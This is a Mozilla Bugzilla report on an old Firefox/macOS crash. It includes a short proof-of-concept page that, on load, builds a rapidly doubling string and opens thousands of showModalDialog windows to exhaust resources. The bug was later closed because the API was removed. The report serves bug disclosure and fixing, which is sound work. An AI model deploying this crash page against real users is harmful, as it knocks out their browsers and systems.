Closed Bug 998747 Opened 11 years ago Closed 6 years ago

window.showModalDialog crashes mac os and firefox

Categories

(Core :: DOM: Core & HTML, defect)

28 Branch
x86
macOS
defect
Not set
normal

Tracking

()

RESOLVED WORKSFORME

People

(Reporter: jordi.chancel, Unassigned)

Details

(4 keywords)

Attachments

(1 file)

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0 (Beta/Release) Build ID: 20140314220517 Steps to reproduce: - When you open too much window.showModalDialog , MAC OS crashes and firefox craches too. code : <body onload="javascript:crash();"></body> <script> function crash() { var string1 = unescape("%u0000%udead"); for (i =0;i<10000;i++) { string1+=string1+string1; window.showModalDialog(string1, string1, "dialogHeight:300px; dialogLeft:200px;"); } } </script> Actual results: MAC OS CRASHES AND FIREFOX CRASHES TOO. Expected results: too much window.showModalDialog are opened.
i have just tested this on mac os!
could you upload and attach your crash signature from about:crashes please?
Flags: needinfo?(jordi.chancel)
firefox and mac os crashes but i don't view anything about this crash on about:crashes. please test.
Flags: needinfo?(jordi.chancel)
Resource exhaustion
Group: core-security
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: firefox-backlog+
Component: Untriaged → DOM
Product: Firefox → Core

showModalDialog was disabled in 56 and removed later, see bug 1374460.

Status: NEW → RESOLVED
Closed: 6 years ago
Resolution: --- → WORKSFORME
Component: DOM → DOM: Core & HTML
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: